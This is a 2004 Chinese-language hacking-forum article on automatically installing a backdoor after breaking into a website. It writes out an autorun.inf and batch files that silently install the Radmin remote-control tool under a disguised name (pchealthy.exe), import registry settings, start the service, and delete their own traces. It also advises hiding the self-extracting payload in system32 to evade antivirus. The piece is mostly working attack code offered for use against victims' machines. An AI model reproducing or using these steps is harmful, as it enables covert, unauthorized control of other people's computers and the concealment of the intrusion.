所属分类:技术资料 来源:情感网络 作者:情感网络 日期:2004-7-30 3:48:39 阅读次数:     打印本页

入侵网站后全自动安装后门

只要你有上传的权限。 
一共三个文件 
1.autorun.inf 2.shell.bat 3.hao.exe(自解压文件) 

思路:全部放在C盘下。当肉鸡主人双击C盘时自动运行第一文件。 
第一文件带动运行第二文件。同时第二运行第三 

运行完可正常进入C盘。不会让人发觉。并且里面所带的批处理,会在最后把所有文件删除。此时,后门却已经装上去了 

《此法针对没有权限运行木马的入侵活动》 


制作: 
[autorun] 
open=shell.bat 
这个是autorun.inf 


@echo off 

hao.exe 

c:\windows\explorer c:\ 

del autorun.inf 

del rad.exe 

del shell.bat 
这个是shell.bat 


hao.exe 里面包含admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件《关键所在》 

r.bat--》批处理做法 

@echo off 
@pchealthy.exe /install /silence 
@regedit /s admin.reg 
@net start r_server 
@del admin.reg 
@del r.bat 

其他四个就是Radmin的文件。这个大家都会,复制过来就行 


OK,我们再来看自解压的处理,在解压路径里我们用 
%systemroot%\system32,就是解压到系统目录里 
并且 “解压后运行”填上我们的r.bat文件!!!!!! 

因为这里的文件比较多,比较隐蔽 

解压模式我们选 “全部隐藏”,和 “覆盖所有文件”! 
好了,一个不被杀毒软件所能查杀的好后门程序就成功制作出来了! 
大家不要放在文件夹里压缩哦,要直接选上admdll.dll raddrv.dll admin.reg pchealthy.exe r.bat五个文件压缩 


哈哈。。这样就行啦。 
网站你也可以破《这篇文章总结了一些高手和自己的经验》 


写的不好别见怪。。。---》菜鸟要是能灵活运用这个 
也很厉害啦 


当然这个方法有一些局限性 


有问题给我留言吧。。谢谢


  • 上篇文章:远程(如通过互联网)连接access数据库的方法(2004-7-30 3:48:17)
  • 下篇文章:Guest权限突破8法[整理](2004-7-30 3:49:06)
  • 相关文章
    对国内流行的三大telnet扩展后门程序的比较2003-7-14 1:04:26
    用AdminScripts下的vbs工具在80端口留后门2003-7-12 0:46:09


  • 联盟网站→[ 中国黑客联盟  |  网嗅网络 |  泰安铁通  |  小尤格斗界 ]